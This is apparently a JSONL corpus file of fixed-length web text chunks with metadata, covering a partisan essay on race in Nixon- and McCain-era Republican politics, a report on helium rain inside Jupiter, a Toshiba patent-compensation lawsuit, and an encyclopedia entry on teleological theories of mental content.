1970 the republicans knew exactly what to do with disgruntled southern democrats, and daniel patrick moynihan ( yes, the late \u2018 liberal \u2019 senator from new york ), then a staff aide to nixon, wrote him a memo in which he recommended nixon adopt a policy of \u201c benign neglect \u201d of civil rights issues, leaving the slain martin luther king \u2019 s movement to carry on by itself, without presidential backing. [ answers. com ] this began nixon \u2019 s opportunistic gop campaign to politically \u2018 take over \u2019 the south with his so - called \u2018 southern strategy. \u2019 [ washington post ] the gop grip on the south was further cemented by the avuncular ronald reagan, who unashamedly announced his run for the presidency with a \u201c state \u2019 s rights \u201d speech in the small town of philadelphia, mississippi, infamously known as the scene of the vicious, terrorizing 1964 murder of three civil rights activists who had dared to drive south to register blacks to vote. [ black america today ] reagan gave us eight years of \u2018 welfare queen cadillac \u2019 [ washington monthly ]", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.416688051321137, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.406566"} {"text": "play \u2019 any kind of race card, when it is dealt to him every waking moment of every day ; when he looks in the mirror in the morning, and when almost every white person he is near looks back at him with \u2018 that glance, \u2019 which is more of a stare, that says, \u201c what are you doing here? \u201d. he is black ; mccain is not. and to inject race into any campaign is to insert a needle filled with poison used to infect the public with the racist elements that too many white citizens either have buried in our souls, or alive and flaming in daily thoughts and deeds. mccain, once considered a \u2018 moderate maverick \u2019 [ ny times ] in the republican party, now seems just another cynical politician, who arranged a meeting for a criminal savings and loan executive with five united states senators [ memphis commercial - appeal ], and who voted for a war when that action was exceedingly popular and knowingly wrong. how will he react from his \u2018 straight talk express \u2019 seat when confronted with the well - established fact that at least one of his television ads is a cynical lie \u2013 the one in which the announcer states that obama did not visit wounded soldiers in germany, \u2018 because he could not bring a television camera with him \u2019? [ media matters ] how will he face his god and his conscience with his decision to allow vicious and racist attacks on an honorable man, who simply happens to have black skin? many of us, myself included, once thought of john mccain as an honorable man. but when he tells an outright lie about his political opponent at this tenuous time in our nation \u2019 s history, when he gives the green light to television and radio commercials [ usa today ] that belittle and disrespect a fellow public servant, when he seems to have sold his soul to win a prize ; then he is not only not worthy of that prize, but he has also drug up from the slime of our past the one lasting evil stain on our national soul. and that act can only serve to divide us, when the need for unity is paramount. it is not up to us to forgive his sin ; it is up to him to absolve himself, and to refuse to rip this nation apart again, for the selfish sake of one more rich white man \u2019 s personal political gain. you don \u2019 t need a flag pin to say \u201c god bless america. \u201d but you should need decency and honor. end this, mr. mccain. tell your crafty team that you \u2019", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4414322550219087, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.408833"} {"text": "( physorg. com ) - - on earth, helium is a gas used to float balloons, as in the movie \" up. \" in the interior of jupiter, however, conditions are so strange that, according to predictions by university of california, berkeley, scientists, helium condenses into droplets and falls like rain. helium rain was earlier proposed to explain the excessive brightness of saturn, a gas giant like jupiter, but one - third the mass. on jupiter, however, uc berkeley scientists claim that helium rain is the best way to explain the scarcity of neon in the outer layers of the planet, the solar system ' s largest. neon dissolves in the helium raindrops and falls towards the deeper interior where it re - dissolves, depleting the upper layers of both elements, consistent with observations. \" helium condenses initially as a mist in the upper layer, like a cloud, and as the droplets get larger, they fall toward the deeper interior, \" said uc berkeley post - doctoral fellow hugh wilson, co - author of a report appearing this week in the journal physical review letters. \" neon dissolves in the helium and falls with it. so our study links the observed missing neon in the atmosphere to another proposed process, helium rain. \" wilson ' s co - author, burkhard militzer, uc berkeley assistant professor of earth and planetary science and of astronomy, noted that \" rain \" - the water droplets that fall on earth - is an imperfect analogy to what happens in jupiter ' s atmosphere. the helium droplets form about 10, 000 to 13, 000 kilometers ( 6, 000 - 8, 000 miles ) below the tops of jupiter ' s hydrogen clouds, under pressures and temperatures so high that \" you can ' t tell if hydrogen and helium are a gas or a liquid, \" he said. they ' re all fluids, so the rain is really droplets of fluid helium mixed with neon falling through a fluid of metallic hydrogen. the researchers ' prediction will help refine models of jupiter ' s interior and the interiors of other planets, according to wilson. modeling planetary interiors has become a hot research area since the discovery of hundreds of extrasolar planets living in extreme environments around other stars. the study will also be relevant for nasa \u2019 s juno mission to jupiter, which is scheduled to be launched next year. militzer and wilson are among the modelers, using \" density functional theory \" to predict the properties of jupiter ' s interior, specifically what happens to the dominant constituents - hydrogen and helium - as temperatures", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5616555562551067, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.416907"} {"text": ", which is scheduled to be launched next year. militzer and wilson are among the modelers, using \" density functional theory \" to predict the properties of jupiter ' s interior, specifically what happens to the dominant constituents - hydrogen and helium - as temperatures and pressures increase toward the center of the planet. these conditions are yet too extreme to be reproduced in the laboratory. even experiments in diamond - anvil cells can only produce pressures at the earth ' s core. in 2008, militzer ' s computer simulations led to the conclusion that jupiter ' s rocky core is surrounded by a thick layer of methane, water and ammonia ices that make it twice as large as earlier predictions. the two modelers embarked on their current research because of a discovery by the galileo probe that descended through jupiter ' s atmosphere in 1995 and sent back measurements of temperature, pressure and elemental abundances until it was crushed under the weight of the atmosphere. all elements seemed to be as slightly enriched compared to the abundance on the sun - which is assumed to be similar to the elemental abundances 4. 56 billion years ago when the solar system formed - except for helium and neon. neon stood out because it was one - tenth as abundant as it is in the sun. their simulations showed that the only way neon could be removed from the upper atmosphere is to have it fall out with helium, since neon and helium mix easily, like alcohol and water. militzer and wilson ' s calculations suggest that at about 10, 000 to 13, 000 kilometers into the planet, where the temperature about 5, 000 degrees celsius and the pressure is 1 to 2 million times the atmospheric pressure on earth, hydrogen turns into a conductive metal. helium, not yet a metal, does not mix with metallic hydrogen, so it forms drops, like drops of oil in water. this provided an explanation for the removal of neon from the upper atmosphere. \" as the helium and neon fall deeper into the planet, the remaining hydrogen - rich envelope is slowly depleted of both neon and helium, \" militzer said. \" the measured concentrations of both elements agree quantitatively with our calculations. \" saturn ' s helium rain was predicted because of a different observation : saturn is warmer than it should be, based on its age and predicted rate of cooling. the falling rain releases heat that accounts for the difference. jupiter ' s temperature is in accord with models of its cooling rate and its age, and needed no hypothesis of helium rain until the discovery of neon depletion in the atmosphere. interestingly, theoretician", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5520567891968469, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.418089"} {"text": "a japanese man who says he invented the technology behind the context - based conversion of a sentence written solely in kana into one in both kanji and kana, as well as another related technology, filed suit against toshiba on december 7, seeking some us $ 2. 3 million in compensation from his former employer. shinya amano, a professor at shonan institute of technology, said in a written complaint that although the firm received patents for the technologies in conjunction with him and three others and paid him tens of thousands of yen annually in remuneration, he actually developed the technologies alone. amano is claiming 10 percent of an estimated \u00a52. 6 billion in profit toshiba made in 1996 and 1997 \u2014 much higher than the roughly \u00a5230, 000 he was actually awarded for the work over the two - year span. his claim is believed valid, taking into account the statute of limitations and the terms of the patents. \u201c this is not about the sum of the money \u2014 i filed the suit for my honor, \u201d amano said in a press conference after bringing the case to the tokyo district court. \u201c japan is a technology - oriented country, but engineers are treated too lightly here, \u201d he said. toshiba said through its public relations office that it believes it paid amano fair compensation in line with company policy. the company declined to comment on the lawsuit before receiving the complaint in writing. amano claims that he invented the technology that converts a sentence composed of kana alone into a sentence composed of both kanji and kana by assessing its context, and another technology needed to prioritize kanji previously used in such conversions. using theories of artificial intelligence, the two technologies developed in 1977 and 1978 are still used today in most japanese word - processing software, he said. source : word - processor inventor sues toshiba over redress, kyodo news, via japan times, december 9, 2007", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49653189621913174, "token_count": 393, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.420206"} {"text": "please read how you can help keep the encyclopedia free teleological theories of mental content teleological theories of mental content try to explain the contents of mental representations by appealing to a teleological notion of function. take, for example, the thought that blossoms are forming. on a representational theory of thought, this thought involves a representation of blossoms forming. a theory of content aims among other things to tell us why this representation has that content ; it aims to say why it is a thought about blossoms forming rather than about the sun shining or pigs flying or nothing at all. in general, a theory of content tries to say why a mental representation counts as representing what it represents. according to teleological theories of content, what a representation represents depends on the functions of the systems that produce or use the representation. the relevant notion of function is said to be the one that is used in biology and neurobiology in attributing functions to components of organisms ( as in \u201c the function of the pineal gland is secreting melatonin \u201d and \u201c the function of brain area mt is processing information about motion \u201d ). proponents of teleological theories of content generally understand such functions to be what the thing with the function was selected for, either by ordinary natural selection or by some other natural process of selection. - 1. broad aims - 2. teleological functions - 3. teleosemantic theories - 4. problems for teleosemantics - academic tools - other internet resources - related entries many ( perhaps all ) mental states are about things or are directed on to things in the way that a belief that spring is coming is about spring coming or in the way that a desire for chocolate is directed on to chocolate. the philosopher franz brentano ( 1838 \u2013 1917 ) spoke of such mental states as involving presentations of the objects of our thoughts. the idea was that we couldn ' t desire chocolate unless chocolate was in some way presented to our minds. nowadays, we would say that chocolate must be represented in our minds if it is chocolate that we desire. teleological theories of content, like other theories of mental content, attempt to solve what is often referred to as brentano ' s problem : the problem of explaining intentionality, explaining how mental states can be about things or be directed on to things in this way. one version of the problem, often attributed to brentano but perhaps more correctly attributed to roderick chisholm ( 1957 ), concerns thoughts about non - existent objects. chisholm argued that the", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5972552146959588, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.813693"} {"text": "things or be directed on to things in this way. one version of the problem, often attributed to brentano but perhaps more correctly attributed to roderick chisholm ( 1957 ), concerns thoughts about non - existent objects. chisholm argued that the aboutness ( or intentionality ) of mental states can not be a physical relation between a mental state and what it is about ( its object ) because in a physical relation each of the relata must exist whereas the objects of mental states might not exist. if andrew kisses kate both andrew and kate must exist and if the sun shines on a garden both the sun and the garden must exist too. in contrast, billy can love santa and search for unicorns even if santa does not exist and there are no unicorns. chisholm concluded that it is hard to see how intentionality can be a physical phenomenon, but those who offer teleological theories almost always adopt a physicalist framework to try to explain how intentionality is possible. they aim at what is often called a \u201c naturalistic theory \u201d : \u201c naturalistic \u201d because the aim is to give a theory that is consistent with the claim that the fundamental furniture of the universe is nothing but what the natural sciences describe. within that framework, it is a working hypothesis that intentionality is not ontologically fundamental, so most teleological theories try to show that intentionality is part of the natural world by showing how it can be understood in terms of other natural things. in effect, those who propose teleological theories of mental content try to say why a mental representation, r, represents what it represents, c, by filling in the blank in, \u201c r has the content c because ( in virtue of ) _ _ _ _ _ _ _ \u201d, without making ineliminable use of intentional terms. it also needs to account for the normative nature of mental representation. content is said to be normative because it legitimates certain evaluations. we evaluate beliefs as true or false, memories as accurate or inaccurate, perceptions as veridical or illusory and so on. we also evaluate desires as satisfied or not satisfied and motor instructions as correctly or incorrectly executed. content that is normative is sometimes described as truth - evaluable. representational states count as true or false ( etc. ) by virtue of their content as well as the state of the world. for example, the truth of my belief that today is sunny depends on whether it is sunny but it also depends on its being a belief that today", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5908289540829538, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.815076"} {"text": "true or false ( etc. ) by virtue of their content as well as the state of the world. for example, the truth of my belief that today is sunny depends on whether it is sunny but it also depends on its being a belief that today is sunny. if the content of the belief were different ( e. g., if it were the belief that today is hot ) its truth value might be different. the normative nature of content poses a problem for naturalistic theories but those who propose teleological theories of mental content think that this problem is tractable. much attention is paid to the possibility of misrepresentation. this is because the distinction between correct and incorrect representation is often regarded as a central normative distinction and because a capacity to misrepresent is often thought to be essential for representing : no possibility of misrepresentation, no representing. consider a mental representation of a cat. if it is to have the content cat, so that all and only cats are in its extension, it must be that if it were used to label a non - cat ( e. g., a dog ) it would count as misrepresenting it. however, there may be exceptions to the general rule that all representations can misrepresent ( e. g., a representation that has the content something or nothing ). misrepresentation is also not possible in every kind of mental context ( e. g., in dreaming and, perhaps, desiring ). the possibility of misrepresentation also connects with chisholm ' s concern with non - existent objects because a capacity to misrepresent amounts to a basic capacity to represent non - existent objects. imagine a simple detection device that normally goes into a red - state in response to red. if the red - state has the content there is red then, if red could be tokened sometimes when nothing red is present, a token red could represent a non - existent instantiation of red. there is more to explaining our capacity to represent non - existent objects than explaining how misrepresentation is possible but explaining how misrepresentation is possible is a start. misrepresentation makes it clear that representing is often a three - place relation. suppose, for example, that i see some crumpled newspaper blown by the wind as a cat slinking down the street. there are at least three things involved. first, there is the representation ( or representational vehicle ) that has the content. in us, it is presumably some sort of", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5931394072931468, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.816405"} {"text": "some crumpled newspaper blown by the wind as a cat slinking down the street. there are at least three things involved. first, there is the representation ( or representational vehicle ) that has the content. in us, it is presumably some sort of neurological state or event. here, such mental representations are denoted by capitalized english expressions ( e. g., cat ). second, there is the thing that the representation is aimed at representing, in this case this is the newspaper. cummins ( 1996 ) calls this the target of the representation. and third, there is the content of the representation. since i represent the newspaper as a cat, the content of the representation in this case is cat. misrepresentation has occurred in this case because the target of the representation is not in the extension of the representation ; the newspaper is not a cat. we can ask questions about each of these three places in the representation relation. first is the question of representational status : why does cat count as a representation? or, more generally, what is the difference between natural states that are representational states and natural states that are not? second is the question of target determination : what makes it the case that this token of cat has the newspaper as its target? or, more generally, what makes anything the target of any given representation? third is the question of content determination : what makes it the case that cat has the content cat? or, more generally, in virtue of what does any representation have the content that it has? teleological theories of mental content are primarily concerned with content determination, but a complete solution to brentano ' s problem will need to give answers to all three. a distinction is sometimes made between representation of and representation as. whether or not teleological theories of content are concerned with representation as or of depends on how those locutions are used. in one sense, referring back to the previous example, my cat - representation represents the newspaper as a cat, although it is a representation of the newspaper. on this way of speaking, teleological theories of content are theories of representation as. however, the words \u201c as \u201d and \u201c of \u201d are not always diagnostic of the contents / targets distinction. for example, we can also say that i used a representation of a cat to represent the newspaper. the teleological theories that are currently on offer are generally theories of referential content ( not theories of cognitive content or mode of presentation ). many philosophers would agree that referential content, which is normative", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5983691112217735, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.817390"} {"text": "of a cat to represent the newspaper. the teleological theories that are currently on offer are generally theories of referential content ( not theories of cognitive content or mode of presentation ). many philosophers would agree that referential content, which is normative in the aforementioned sense, is not narrow content. by definition, two individuals who are physical replicas at time t \u201c from the skin in \u201d must have the same narrow - content states at t. proponents of teleological theories do not believe that referential content is narrow. this view is also shared by other philosophers who think that referential content supervenes ( in part ) on things that are external to individual thinkers, such as on features of their social and physical environment and / or their history ( for the kinds of reasons raised by putnam ( 1975 ) and burge ( 1979, 1986 ) ). in general, the proponents of teleological theories of content have shown little interest in the notion of narrow content, since they tend to reject the claim that cognitive science should restrict itself to using narrow notions. still, a teleological theory of mental content could be combined with the view that cognitive science needs a narrow notion of content. a teleological theory of content tries to explain the nature of psycho - semantic norms ( i. e., semantic norms insofar as they apply to mental representations ). it is to some extent a separate question whether such norms play a role in cognitive science and whether a narrow notion is needed instead or in addition. a further point about broad aims is that teleological theories of mental content are not usually intended as theories about how we grasp meanings or are conscious of them. to grasp a meaning is plausibly a sophisticated intentional state that involves representations of meanings and not just representations with meanings. to understand how we grasp meanings, we might turn to psychological theories of concept possession and introspective access to conceptual structures. such theories presuppose that there are representations with content, whereas teleological theories of mental content try to explain the nature of intentionality at its most fundamental ; they aim to say how we can, to begin with, have any representations with content. a final point about broad aims is that teleological theories of mental content are usually intended as real nature theories. these theories do not try to describe the criteria that we use in everyday life to identify the beliefs and desires of people, the criteria used in folk psychological intentional ascriptions ( though price ( 2001 ) is an exception ). those who offer real nature", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6201043817621466, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.818358"} {"text": "these theories do not try to describe the criteria that we use in everyday life to identify the beliefs and desires of people, the criteria used in folk psychological intentional ascriptions ( though price ( 2001 ) is an exception ). those who offer real nature theories of mental content think that our everyday ability to recognize intentional states does not make us experts on the fundamental nature of intentional states, any more than our everyday ability to recognize water makes us experts on the fundamental nature of water. the idea is that we can recognize instances of a kind on the basis of the superficial appearances of things of the kind, while remaining ignorant of their essential nature. so, most teleological theories of mental content do not entail that, if bill thinks that mavis knows that today is tuesday then bill must be thinking about the teleological functions of mavis ' s representation producing or using systems. as noted in the previous section, a crucial feature of content is that it legitimates semantic evaluations. while teleological theories of mental content come in a variety of forms, they all share the idea that the norms that underwrite these evaluations depend, in part at least, on functions. the next section explains various ideas about the nature of this dependence. this section describes the notion of function that is employed. it is generally thought to be in some sense teleological and normative but both \u201c teleological \u201d and \u201c normative \u201d need qualifying. let ' s take the first term first. talk of biological functions often has a teleological flavor. for example, when we say that it is the function of the heart to pump blood this seems equivalent to saying that hearts are for pumping blood or that hearts are there in order to pump blood. there is a closely related concept of an artifact ' s function that is purposive : for example, when we say that moving the cursor is the function of the computer ' s mouse or trackpad we seem to mean that this is what it is for, that it is there in order to do this, that this is what its designers designed it to do. along analogous lines, when biologists say that pumping blood is the heart ' s function, they seem to mean that hearts were selected for, adapted for and in that sense designed for pumping blood. in the latter case, however, the selection is \u201c natural \u201d or, better, it is a non - intentional process. some who favor teleological theories of mental content claim that mother nature is intentional or purposive.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5692067876511293, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.819282"} {"text": "pumping blood. in the latter case, however, the selection is \u201c natural \u201d or, better, it is a non - intentional process. some who favor teleological theories of mental content claim that mother nature is intentional or purposive. in the case of millikan ( 2002 ), it is unclear whether there is a genuine as opposed to terminological disagreement with the substance of the preceding paragraph. the transition from metaphor to dead metaphor to literal use of such terms as \u201c design \u201d and \u201c purpose \u201d is a matter of degree and millikan seems to use \u201c function \u201d and \u201c biological purpose \u201d as synonyms. however, dennett ' s ( 1988 ) claim is that there is no mind - independent determinate fact of the matter about meanings or functions and that the functions of artifacts, the functions of biological systems and the contents of the thoughts of people are all dependent on interpretation, on our adopting either the design stance or the intentional stance toward them. in dennett ' s view, nature leaves functions and meanings similarly indeterminate. there are some who would prefer to reserve the term \u201c teleological \u201d for genuinely purposive contexts in the most literal sense of \u201c purposive \u201d and to refer to biological functions as \u201c teleonomic. \u201d but, on a broader construal of what it means for a concept to be teleological, a concept might be counted as teleological if it concerns what something is for, and the notion of what something was selected for counts as teleological in that sense. this is the sense of the term \u201c teleological \u201d used in this entry. intuitively, the relevant concept of function seems to be normative as well, for biologists routinely talk about systems functioning normally or properly, as well as about malfunctioning, dysfunction, functional impairment and so on. those who offer teleological theories of mental content agree that the relevant notion of function permits the possibility of malfunction ; it allows that a token trait could have a function to do z even if it lacks the disposition to do z. for example, joe ' s pineal gland could have the function to secrete melatonin even if it cannot secrete melatonin because it is malfunctioning. whether it is appropriate to describe this as \u201c normative \u201d is more controversial but the disagreement is more terminological than substantial among those offering teleological theories of mental content, since all that is usually meant by saying that the notion is", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.6063332817443909, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.820280"} {"text": "genotype, of which x is the phenotypic expression, to be selected by natural selection. etiological theories of biological function need to allow for the fact that ancestral traits might have been selected for something other than the present function of descendent traits. for example, a penguin ' s flippers and an emu ' s vestigial wings no longer have the function of flight, even though ancestral forelimbs were selected for flight. griffiths ( 1993 ) and godfrey - smith ( 1994 ) offer \u201c modern history \u201d versions of the etiological theory, according to which functions are determined by recent selection. note that selection does not cease when traits \u201c go to fixation \u201d if on - going maintenance selection is still weeding out fresh harmful mutations as they arise. however, selection does require some variation and schwartz ( 1999 ) suggests that a continuing usefulness supplement is needed, which kicks in if variation is absent for a time. in the absence of any variation, the trait retains its function if it is still adaptive. a further issue is whether the etiological theory is circular ( see e. g., nanay ( 2011 ) ). the worry is that, if a trait token is typed by its function and if a trait ' s function depends on the selection history that pertains to the relevant type, the analysis is circular. neander and rosenberg ( forthcoming ) respond that the function of a trait and its function - specific type co - supervene on the history of selection and that there is only a superficial appearance of circularity. to figure out if token trait x has the function to z, they say, first identify the lineage of traits to which x belongs ; a lineage of traits connects ancestral and descendent traits by the mechanisms responsible for inheritance. then segment the lineage at those places where selection for z stops and starts. x has the function to z only if there was selection for x - ing in x ' s segment of the lineage. this procedure does not presuppose prior knowledge of x ' s function or prior knowledge of x ' s membership in a function - specific classification of traits. this is also an alternative proposal for handling vestigiality. to play a role in a naturalistic account of mental content, the relevant selection process must be non - intentional but it need not be natural selection operating over an evolutionary span of time. millikan ( 1984 ) offers an etiological theory of functions on which functions can also result from meme selection. papineau ( 1984 ) speaks", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5668527121328453, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.823469"} {"text": "non - intentional but it need not be natural selection operating over an evolutionary span of time. millikan ( 1984 ) offers an etiological theory of functions on which functions can also result from meme selection. papineau ( 1984 ) speaks of learning and dretske ( 1986 ) invokes functions that depend on recruitment by conditioning. garson ( 2011 ) argues that the notion of selection should be loosened so that differential retention without differential replication could count as selection, in which case neural selection could count as a form of selection that could underwrite the functions that underwrite content. while the contents of sensory - perceptual representations might be determined by the functions that derive from natural selection operating over an evolutionary span of time, the role of learning in concept acquisition suggests that other kinds of functions that derive from other kinds of selection might be needed for the contents of learned concepts. there is, though, no established agreement about how best to more broadly define the relevant class of functions. while etiological theories dominate the discussion of normative functions in philosophy of biology, the etiological theory is not uncontroversial. some question whether teleology can be naturalized ( e. g., bedau ( 1991 ) ). others support other theories for other reasons. perhaps the systemic theory is the most popular alternative ( see esp. cummins ( 1975 ) ). systemic theories of function emphasize the role of function ascriptions in functional analyses of systems. functional analyses of systems conceptually decompose complex activities of whole systems into the activities of their contributing parts. the function of a part is its contribution to the complex activity of the system that is under analysis. proponents of the etiological theory have no objection to the idea that biologists give functional analyses of systems but contend that the systemic analysis, on its own, fails to naturalize the normativity of functions or to do so successfully. some who support a systemic theory argue that biology has no need for a naturalistic notion of malfunction ( e. g., davies, 2001 ), while others argue that abnormal functioning is statistically atypical ( boorse ( 2002 ), craver ( 2001 ), lewens ( 2004 ) ). ( readers who would like to read more on this and other theories of function could turn to several volumes of readings that have appeared : see esp. allen, bekoff & lauder ( 1998 ), buller ( 1999 ) and ariew, cummins & perlman ( 2002 ).", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5864496854441864, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.824551"} {"text": "this and other theories of function could turn to several volumes of readings that have appeared : see esp. allen, bekoff & lauder ( 1998 ), buller ( 1999 ) and ariew, cummins & perlman ( 2002 ). ) it is usual to note that etiological ( teleological ) functions are distinct from the causal - role functions involved in what is usually called \u201c functionalism \u201d in philosophy of mind. causal - role functions are often defined as a select subset of a trait ' s actual causal dispositions, and functionalism is often defined as the view that mental states are individuated or classified into types on the basis of such dispositions ( see, e. g., block ( 1984 ) ). if causal - role functions are a subset of dispositions actually possessed by token traits then they do not permit the possibility of malfunction because a trait cannot have the causal - role function to z and at the same time lack the disposition to z. that said, the distinction between functionalism and what might be termed \u201c teleo - functionalism \u201d is less stark than might be thought. one reason is that formulations of classical functionalism often spoke of the characteristic or normal causal roles of mental states. sometimes this was explicitly to allow for pathology ( see, e. g., lewis 1980 ). another reason is that, although teleological functions are often said to be selected effects or effects for which traits were selected, such functions can also be described as selected dispositions or dispositions for which traits were selected. both forms of functionalism also permit multiple physical realizability of traits that perform the same functions. what all teleological ( or \u201c teleosemantic \u201d ) theories of mental content have in common is the idea that psycho - semantic norms are ultimately derivable from functional norms. beyond saying this, it is hard to give a neat definition of the group of theories that qualify. consider, for instance, some theories that are clearly intended as alternatives to teleosemantics, such as fodor ' s ( 1990b ) asymmetric dependency theory or theories that appeal to convergence under ideal epistemic conditions ( see rey 1997 for an outline ). elaboration of these theories is beyond the scope of this entry but we can note that they both seem to need a notion of normal or proper functioning. fodor ' s theory adverts to the \u201c intact \u201d perceiver and thinker. presumably this is someone whose percept", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6058930483857156, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.825591"} {"text": "scope of this entry but we can note that they both seem to need a notion of normal or proper functioning. fodor ' s theory adverts to the \u201c intact \u201d perceiver and thinker. presumably this is someone whose perceptual and cognitive systems are functioning properly ( this is covered under the ceterus paribus part of the laws to which fodor ' s theory refers ). the idea of convergence under ideal epistemic conditions also involves a notion of normal functioning, for epistemic conditions are not ideal if perceivers and thinkers are abnormal in certain respects, such as if they are blind or psychotic. if normal or proper functioning is analyzed in terms of an etiological theory, which says that a system functions normally or properly only if all of its parts possess the dispositions for which they were selected, then these theories would qualify as teleological theories of mental content under the characterization provided in the first paragraph of this section. those who propose these theories might reject an etiological theory of functions, but they need some analysis of them. there could anyway be etiological or teleological versions of theories of this sort. an appeal to teleological functions can also be combined with a variety of other ideas about how content is determined. for example, there can be both isomorphic and informational versions of teleosemantics. in the former case, the proposal might be that the relevant isomorphism is one that cognitive systems were adapted to exploit. an alternative idea is that the isomorphism does not need to be specified given that the targets of representations are determined by teleological functions. this appears to be the view of cummins ( 1996, see esp. p. 120 ) although cummins is generally critical of teleological functions in biology. a teleological version of an informational theory is given when content is said to depend on information carrying, storing or processing functions of mechanisms. the relevant notion of information is variously defined but ( roughly speaking ) a type of state ( event, etc. ) is said to carry natural information about some other state ( event, etc. ) when it is caused by it or corresponds to it. it is sometimes said that the role of functions in a teleological theory of content is to explain how error is possible, rather than to explain how content is determined, but the two go hand in hand. to see this, it helps to start with the crude causal theory of content and to see how the problem of error arises for", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5886175335836308, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.826723"} {"text": "is to explain how error is possible, rather than to explain how content is determined, but the two go hand in hand. to see this, it helps to start with the crude causal theory of content and to see how the problem of error arises for it. according to the crude causal theory, a mental representation represents whatever causes representations of the type ; rs represent cs if and only if cs cause rs. one problem with this simple proposal is its failure to provide for the possibility of misrepresentation, as fodor ( 1987, 101 \u2013 104 ) points out. to see the problem, recall the occasion on which crumpled paper is seen as a cat. the crude causal theory does not permit this characterization of the event because, if crumpled paper caused a tokening of cat then crumpled paper is in the extension of cat, according to the crude causal theory. since cats also sometimes cause cats, cats are in the extension too. however, the problem is that crumpled paper is included in the extension as soon as it causes a cat to be tokened and so, on this theory, there is no logical space for the possibility of error since candidate errors are transformed into non - errors by their very occurrence. note that the problem is simultaneously one of ruling in the right causes without also ruling in the wrong ones. cat cannot have the content cat unless non - cats ( including crumpled paper ) are excluded from its content. so explaining how content is determined and how the possibility of error are accommodated are not separate tasks. the error problem is an aspect of what ( after fodor ) is often called \u201c the disjunction problem. \u201d with respect to the crude causal theory, the name applies because the theory entails disjunctive contents when it should not. for example, it entails that cats have the content cats or crumpled paper in the case just considered. the disjunction problem is larger than the problem of error, however, because it is not only in cases of error that mental representations are caused by things that are not in their extensions ( fodor, 1990c ). suppose, for example, that mick ' s talking about his childhood pet dog reminds scott of his childhood pet cat. in this case no misrepresentation is involved but the crude causal theory again entails inappropriate disjunctive contents. now it entails that scott ' s cats has a content along the lines of cats or talk of pet dogs. this last aspect of the disjunction problem might be called the problem of representation in", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.6047805064211047, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.830650"} {"text": "entails inappropriate disjunctive contents. now it entails that scott ' s cats has a content along the lines of cats or talk of pet dogs. this last aspect of the disjunction problem might be called the problem of representation in absentia : how do we explain our capacity to think about absent things? how do mental representations retain or obtain their contents outside of perceptual contexts? asking how to alter the crude causal theory to allow for error is one place to begin looking for a more adequate proposal. one approach would be to try to describe certain situations in which only the right causes can produce the representation in question and to maintain that the content of the representation is whatever can cause the representation in such situations. this is sometimes referred to as a \u201c type 1 theory. \u201d a type 1 theory distinguishes between two types of situations, ones in which only the right causes can cause a representation and ones in which other things can too. a type - 1 theory says that the first type of situation is content - determining. a type 1 teleological theory might state, for example, that the content of a perceptual representation is whatever can cause it when the perceptual 